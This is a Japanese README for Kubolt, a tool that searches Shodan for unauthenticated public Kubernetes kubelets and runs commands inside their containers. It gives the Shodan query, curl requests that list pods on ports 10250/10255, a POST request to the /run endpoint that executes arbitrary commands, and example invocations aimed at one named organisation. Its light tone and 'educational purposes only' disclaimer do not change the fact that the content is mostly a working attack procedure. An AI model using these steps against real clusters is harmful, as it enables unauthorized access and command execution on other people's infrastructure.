
Kubolt パブリックKubernetesクラスターをスキャンするユーティリティ
Kuboltは、認証されていない公開Kubernetesクラスターをスキャンし、コンテナ内でコマンドを実行するためのシンプルなユーティリティです。
時々、kubeletのポート10250が不正アクセスに対して開いており、kubeletのgetrun関数を使用してコンテナ内でコマンドを実行することが可能になります:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
さあ、私たちの友人Shodanに聞いてみましょう :trollface:
基本的なクエリは
ssl:true port:10250 404
KubeletはデフォルトでSSLを使用してポート10250を使います。404はURLパスなしのHTTP応答です。
KuboltはAPI経由でShodanにIPアドレスのリストを要求し、他のOSINTアクションのためにそれらを保持します 😁
まず、Kubeletに実行中のPodを問い合わせ、応答にUnauthorizedが含まれておらず、containerが含まれているホストをフィルタリングして、その中でコマンドを実行できるようにします。
curl -k https://IP-from-Shodan:10250/runningpods/
とにかく、その時点で実行中のPodがないホストを見つけた場合は、次にPodが起動されるかもしれない時のために保持しておいてください 😁
これらのリクエストから利用可能なすべてのPodを一覧表示できます:
curl -k https://IP-from-Shodan:10250/pods/
#or
curl http://IP-from-Shodan:10255/pods/
次にkuboltは応答を解析し、以下のように新しいリクエストを生成します:
curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>"
以下のようなShodanフィルターを使用して、より正確に企業をターゲットにできます:
mkdir output
pip install -r requirements.txt
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
#or
python kubolt.py --query "org:'ACME Corporation' country:UK"
KuboltはShodan APIとQuery Creditsを適宜使用します。クエリフィルターなしでツールを実行すると、おそらくすべてのクレジットを消費することになるでしょう ¯\_(ツ)_/¯

作者によって提供されるツールは教育目的のみに使用されるべきです。作者はツールの誤用について責任を負いません。作者はツールの使用によって生じた直接的または間接的な損害について責任を負いません。